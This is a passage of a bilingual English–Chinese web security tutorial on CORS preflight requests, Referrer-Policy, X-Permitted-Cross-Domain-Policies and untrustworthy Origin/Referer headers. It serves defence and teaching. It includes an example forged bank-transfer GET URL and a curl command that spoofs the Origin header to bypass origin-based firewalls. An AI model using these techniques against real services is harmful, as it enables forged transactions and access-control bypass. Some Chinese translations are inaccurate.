我们需要了解的一个重要方面是浏览器执行了请求,但阻止了客户端访问它。 这非常重要,因为如果我们的请求会触发服务器的任何副作用,它仍然使我们容易受到攻击。 例如,想象一下,如果我们的银行允许通过简单地调用URL my-bank.com/transfer?amount=1000&from=me&to=attacker来允许转帐。 那将是一场灾难!

As we’ve seen at the beginning of this article, GET requests are supposed to be idempotent, but what would happen if we tried triggering a POST request? Luckily, I’ve included this scenario in the example, so we can try it by navigating to http://cors-test:7888/?method=POST:

正如我们在本文开头所看到的, GET请求应该是幂等的,但是如果我们尝试触发POST请求会发生什么呢? 幸运的是,我在示例中包含了这种情况,因此我们可以通过导航到http://cors-test:7888/?method=POST来进行尝试

Instead of directly executing our POST request, which could potentially cause some serious trouble on the server, the browser sent a “preflight” request. This is nothing but an OPTIONS request to the server, asking it to validate whether our origin is allowed. In this case, the server did not respond positively, so the browser stops the process, and our POST request never reaches the target.

浏览器发送了一个“预检”请求,而不是直接执行我们的POST请求(这可能会导致服务器出现严重问题)。 这不过是对服务器的OPTIONS请求,它要求服务器验证是否允许我们的来源。 在这种情况下,服务器没有做出积极响应,因此浏览器停止了该过程,并且我们的POST请求从未到达目标。

This tells us a couple things:

这告诉我们几件事:

  • CORS is not a simple specification. There are quite a few scenarios to keep in mind and you can easily get tangled in the nuances of features such as preflight requests.

    CORS不是一个简单的规范。 有很多情况需要牢记,并且您可以轻松地了解预检请求等功能的细微差别。
  • Never expose APIs that change state via GET. An attacker can trigger those requests without a preflight request, meaning there’s no protection at all

    切勿公开通过GET更改状态的API。 攻击者可以在没有预检请求的情况下触发这些请求,这意味着根本没有保护措施

Out of experience, I found myself more comfortable with setting up proxies that can forward the request to the right server, all on the backend, rather than using CORS. This means that your application running at example.com can setup a proxy at example.com/_proxy/other.com, so that all requests falling under _proxy/other.com/* get proxied to other.com.

根据经验,我发现自己更适合设置代理,这些代理可以将请求转发到正确的服务器(全部在后端),而不是使用CORS。 这意味着,在运行你的应用程序example.com可以将安装在代理example.com/_proxy/other.com ,使落入下所有请求_proxy/other.com/*获得代理到other.com

I will conclude my overview of this feature here but, if you’re interested in understanding CORS in depth, MDN has a very lengthy article that brilliantly covers the whole specification at developer.mozilla.org/en-US/docs/Web/HTTP/CORS.

我将在此处结束对此功能的概述,但是,如果您有兴趣深入了解CORS,则MDN在developer.mozilla.org/en-US/docs/Web/HTTP上有一篇冗长的文章,精讲了整个规范。 / CORS

X允许跨域策略 (X-Permitted-Cross-Domain-Policies)

Very much related to CORS, the X-Permitted-Cross-Domain-Policies targets cross domain policies for Adobe products (namely Flash and Acrobat).

X-Permitted-Cross-Domain-Policies与CORS非常相关,其目标是Adobe产品(即Flash和Acrobat)的跨域策略。

I won’t go much into the details, as this is a header that targets very specific use cases. Long story short, Adobe products handle cross-domain request through a crossdomain.xml file in the root of the domain the request is targeting, and the X-Permitted-Cross-Domain-Policies defines policies to access this file.

我不会详细介绍,因为这是针对特定用例的标头。 简而言之,Adobe产品通过请求所针对的域的根中的crossdomain.xml文件处理跨域请求,并且X-Permitted-Cross-Domain-Policies定义了访问此文件的策略。

Sounds complicated? I would simply suggest to add an X-Permitted-Cross-Domain-Policies: none and ignore clients wanting to make cross-domain requests with Flash.

听起来复杂吗? 我只是建议添加一个X-Permitted-Cross-Domain-Policies: none ,忽略要使用Flash进行跨域请求的客户端。

推荐人政策 (Referrer-Policy)

At the beginning of our careers, we all probably made the same mistake. Use the Referer header to implement a security restriction on our website. If the header contains a specific URL in a whitelist we define, we’re going to let users through.

在我们职业生涯的开始,我们可能都犯了同样的错误。 使用Referer标头在我们的网站上实施安全限制。 如果标题在我们定义的白名单中包含特定的URL,我们将让用户通过。

Ok, maybe that wasn’t every one of us. But I damn sure made this mistake back then. Trusting the Referer header to give us reliable information on the origin the user comes from. The header was really useful until we figured that sending this information to sites could pose a potential threat to our users’ privacy.

好吧,也许不是我们每个人。 但是我该死的确实犯了这个错误。 信任Referer标头可为我们提供有关用户来源的可靠信息。 标头确实很有用,直到我们发现将这些信息发送到网站可能会对用户的隐私构成潜在威胁。

Born at the beginning of 2017 and currently supported by all major browsers, the Referrer-Policy header can be used to mitigate these privacy concerns by telling the browser that it should only mask the URL in the Referer header, or omit it altogether.

Referrer-Policy标头诞生于2017年初,目前受到所有主要浏览器的支持,可通过告诉浏览器它仅应屏蔽Referer标头中的URL或完全将其忽略,来缓解这些隐私问题。

Some of the most common values the Referrer-Policy can take are:

Referrer-Policy可以采用的一些最常见的值是:

  • no-referrer: the Referer header will be entirely omitted

    no-referrerReferer标头将被完全省略

  • origin: turns https://example.com/private-page to https://example.com/

    origin :将https://example.com/private-page更改为https://example.com/

  • same-origin: send the Referer to same-site origins but omit it for anyone else

    same-origin :将Referer来源网址发送到同一站点,但其他任何人都将其省略

It’s worth noting that there are a lot more variations of the Referrer-Policy (strict-origin, no-referrer-when-downgrade, etc) but the ones I mentioned above are probably going to cover most of your use cases. If you wish to better understand each and every variation you can use, I would recommend heading to the OWASP dedicated page.

值得注意的是, Referrer-Policy还有很多变体( strict-originno-referrer-when-downgrade等),但是我上面提到的那些可能会覆盖您的大多数用例。 如果您希望更好地理解可以使用的每种变体,建议您转到OWASP专用页面

The Origin header is very similar to the Referer, as it’s sent by the browser in cross-domain requests to make sure the caller is allowed to access a resource on a different domain. The Origin header is controlled by the browser, so there’s no way malicious users can tamper with it. You might be tempted to use it as a firewall for your web application: if the Origin is in our whitelist, let the request go through.

Origin标头与Referer非常相似,因为它是浏览器在跨域请求中发送的,以确保允许调用者访问其他域上的资源。 Origin标头由浏览器控制,因此恶意用户无法篡改它。 您可能会想将它用作Web应用程序的防火墙:如果Origin在我们的白名单中,请让请求通过。

One thing to consider, though, is that other HTTP clients such as cURL can present their own origin: a simple curl -H "Origin: example.com" api.example.com will render all origin-based firewall rules inefficient… …and that is why you cannot rely on the Origin (or the Referer, as we’ve just seen) to build a firewall to keep malicious clients away.

不过,要考虑的一件事是其他HTTP客户端(例如cURL)也可以提供自己的来源:一个简单的curl -H "Origin: example.com" api.example.com将使所有基于来源的防火墙规则效率低下…………并且这就是为什么您不能依靠Origin (或我们刚刚看到的Referer )来构建防火墙来阻止恶意客户端的原因。

测试您的安全状态 (Testing your security posture)

I want to conclude this article with a reference to securityheaders.com, an incredibly useful website that allows you to verify that your web application has the right security-related headers in place. After you submit a URL, you will be handed a grade and a breakdown, header by header. Here’s an example report for facebook.com:

我想在本文结尾引用securityheaders.com ,这是一个非常有用的网站,可让您验证您的Web应用程序是否已安装正确的与安全相关的标题。 提交网址后,您将获得一个标题和一个细目,一个标题一个标题。 这是facebook.com示例报告

If in doubt on where to start, securityheaders.com is a great place to get a first assessment.

如果对从哪里开始有疑问,securityheaders.com是进行首次评估的好地方。

状态HTTP:使用Cookie管理会话 (Stateful HTTP: managing sessions with cookies)

This article should have introduced us to a few interesting HTTP headers, allowing us to understand how they harden our web applications through protocol-specific features, together with a bit of help from mainstream browsers.

本文应该向我们介绍了一些有趣的HTTP标头,使我们能够了解它们如何通过特定于协议的功能来强化我们的Web应用程序,以及主流浏览器的一些帮助。

In the next post, we will delve deep into one of the most misunderstood features of the HTTP protocol: cookies.

在下一篇文章中 ,我们将深入研究HTTP协议最容易被误解的功能之一:cookie。

Born to bring some sort of state to the otherwise stateless HTTP, cookies have probably been used (and misused) by each and everyone of us in order to support sessions in our web apps: whenever there’s some state we’d like to persist it’s always easy to say “store it in a cookie”. As we will see, cookies are not always the safest of vaults and must be treated carefully when dealing with sensitive information.

Cookie的诞生是为了给原本无状态的HTTP带来某种状态,因此我们每个人都可能使用过Cookie(并滥用了它们),以支持Web应用程序中的会话:只要有某种状态,我们想坚持下去,容易说“将其存储在Cookie中”。 我们将看到,cookie并非始终是最安全的文件库,在处理敏感信息时必须谨慎对待。

Originally published at odino.org (23 August 2018).You can follow me on Twitter — rants are welcome! ?

最初发布于odino.org (2018年8月23日)。 您可以在Twitter上关注我-欢迎咆哮!

翻译自: https://www.freecodecamp.org/news/secure-your-web-application-with-these-http-headers-fd66e0367628/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值